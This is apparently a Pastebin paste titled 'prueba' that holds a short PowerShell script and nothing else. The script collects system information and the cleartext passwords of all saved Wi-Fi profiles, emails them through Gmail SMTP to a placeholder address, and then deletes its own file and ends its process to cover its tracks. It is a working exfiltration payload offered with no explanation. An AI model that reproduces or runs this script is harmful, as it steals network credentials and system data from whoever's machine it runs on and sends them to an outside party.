Advertisement
Guest User

prueba

a guest
Oct 17th, 2015
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. Function sendMail() {$credential=(Get-Credential correo@gmail.com); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern "All User Profile"|Foreach-Object{$_.ToString()}|Foreach-Object{$_.Replace(" All User Profile : ",$null)}|ForEach-Object{netsh wlan show profiles name="$_" key=clear}|out-string); send-mailMessage -to 'correo@gmail.com' -subject 'report' -from 'correo@gmail.com' -body $info -SmtpServer 'smtp.gmail.com' -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');Remove-Item code.ps1; stop-process -Id $PID;}
  2. sendMail
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement